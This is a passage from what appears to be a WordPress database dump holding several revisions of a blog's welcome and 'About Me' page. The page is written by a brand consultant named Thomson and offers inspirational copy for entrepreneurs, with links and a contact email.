creative director, brand strategy consultant serving global companies and small start-ups alike. My expertise helps business leaders discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n<h2>It''s  my intention to have the White Hot Center be your go-to source of  inspiration and innovation to help you tap into the power of your own  creative source of competitive advantage– your white hot center!</h2>\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation. I''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-01-02 12:24:54', '2011-01-02 19:24:54', '', 172, 'http://www.whitehotcenter.com/2011/01/02/172-revision-97/', 0, 'revision', '', 0),
(971, 2, '2010-06-11 10:57:49', '2010-06-11 17:57:49', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love powered by the venue of their business. Here are some success benchmarks many entrepreneurs I have worked with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle mastery and personal effectiveness to create more free time and money to imagine ways to expand your contribution to the world, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery  of effective marketing and business development strategies to grow your  business doing what you love with clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve consulted with executive management, business leaders and their teams in large organizations helping them discover their unique voice, define their organizational identity, and create more compelling value propositions to their customers. I use my knowledge and insight to help creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. My mission is to inspire and guide you to gain more clarity and confidence to pursue your best opportunities.\r\n\r\nYou can learn about my professional background and expertise in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It''s my intention to have the WhiteHotCenter be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibility become achievement.  Inspired thought and disciplined action in equal measure make this happen. Creating success is a life-long process of never ending growth and expansion. If you find the information here to be useful, perhaps you''ll subscribe to receive the posts directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of  us. I look forward to you sharing your thoughts in the  comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-06-11 10:57:49', '2010-06-11 17:57:49', '', 172, 'http://www.whitehotcenter.com/2010/06/11/172-revision-70/', 0, 'revision', '', 0),
(792, 2, '2010-04-22 20:25:43', '2010-04-23 03:25:43', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love through the venue of their business. Here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle mastery and personal effectiveness to create more free time and money to imagine ways to expand your contribution to the world, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery  of effective marketing and business development strategies to grow your  business doing what you love with clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve consulted with companies large and small. I''ve helped executive management, business leaders and their teams discover their unique voice, define their personal and organizational identity, and create more compelling value propositions to their customers.  As a result of my experience, I wanted to share useful ideas and a point of view on personal and professional growth, lifestyle design, value creation and demand generation that will inspire creative entrepreneurs and solo professionals to gain more clarity and confidence to pursue their best opportunities.  You can learn about my professional background and expertise in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It''s my intention to have the WhiteHotCenter be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nIt''s my belief that everything we experience in life begins within us.  I''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibility become achievement.  Inspired thought and disciplined action in equal measure make this happen. It is a life-long process of never ending growth and expansion. If you like what you find here, perhaps you''ll subscribe to receive the posts directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are immediately useful to your business growth and add value to your life''s journey. Of course, your comments will only elevate and enrich the conversation for all of  us. I look forward to you sharing your thoughts in the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\ninspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-04-22 20:25:43', '2010-04-23 03:25:43', '', 172, 'http://www.whitehotcenter.com/2010/04/22/172-revision-66/', 0, 'revision', '', 0),
(705, 2, '2010-03-11 11:29:44', '2010-03-11 18:29:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Success in business and in life is a process, not an event. It''s an on-going, always growing life enhancing activity. Whatever metrics you use to determine your success, the most useful definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">With that in mind, here are some benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves the good of others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the higher fees your unique talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business growth creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\n\r\nFor over 25 years, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share ideas and a point of view about business and personal growth that will inspire you and give you more clarity and confidence to pursue your best opportunities.  You can learn about my professional background and expertise product and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention to have this blog serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI’ll be sharing my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey. I wish you continued success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-03-11 11:29:44', '2010-03-11 18:29:44', '', 172, 'http://www.whitehotcenter.com/2010/03/11/172-revision-57/', 0, 'revision', '', 0),
(704, 2, '2009-09-04 12:07:01', '2009-09-04 19:07:01', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Success in business and in life is a process, not an event. It''s an on-going, always growing and expanding life enhancing activity. Whatever metrics you use to determine your success, the most useful definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">In my own curiosity and fascination with playing a bigger game in business and in life, I discovered some common ground with other creative business people who were searching, like me, for inspiration and tools to help guide their journey. With that in mind, here are some benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves the good of others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the higher fees your unique talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nFor over 25 years, through my communications consultancy, I''ve helped business people in organizations large and small, discover and define their unique voice, brand identity and value proposition to their customers.  As a result of this experience, I wanted to share what I have learned about creating a life of significance by doing what matters to you and serves the good of others. I decided to use all of my talent and expertise to do just that through this medium.  You can learn about my professional background and expertise in the corporate identity and brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to sharing inspirational ideas and insight on business development and life success with you here on the WhiteHotCenter blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-09-04 12:07:01', '2009-09-04 19:07:01', '', 172, 'http://www.whitehotcenter.com/2009/09/04/172-revision-56/', 0, 'revision', '', 0);
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(625, 1, '2009-08-03 11:28:30', '2009-08-03 18:28:30', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that really great work and the highest value to the world is best expressed through the venue of business. Commerce is a constant human activity. The desire to grow and expand is an entrepreneur''s truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nFor over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-08-03 11:28:30', '2009-08-03 18:28:30', '', 172, 'http://www.whitehotcenter.com/2009/08/03/172-revision-53/', 0, 'revision', '', 0),
(531, 2, '2009-07-09 15:48:49', '2009-07-09 22:48:49', '<h2><span style="color: #ff6600;">Creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<ul id="big_questions">\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\r\n</ul>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-20', '', '', '2009-07-09 15:48:49', '2009-07-09 22:48:49', '', 179, 'http://www.whitehotcenter.com/179-revision-20/', 0, 'revision', '', 0),
(528, 2, '2009-07-21 22:48:42', '2009-07-22 05:48:42', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-21 22:48:42', '2009-07-22 05:48:42', '', 172, 'http://www.whitehotcenter.com/172-revision-47/', 0, 'revision', '', 0),
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(174, 1, '2009-05-20 15:09:32', '2009-05-20 22:09:32', 'Thomson''s Bio.', 'About Me', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-05-20 15:09:32', '2009-05-20 22:09:32', '', 172, 'http://www.whitehotcenter.com/172-revision-2', 0, 'revision', '', 0),
(172, 2, '2009-05-20 15:09:32', '2009-05-20 22:09:32', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h1>Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</h1>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant. Our conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n<h3><strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</h3>\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level. The White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\n&nbsp;\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'draft', 'closed', 'closed', '', 'about', '', '', '2015-10-08 13:10:10', '2015-10-08 20:10:10', '', 0, 'http://www.whitehotcenter.com/?page_id=172', 5, 'page', '', 0),
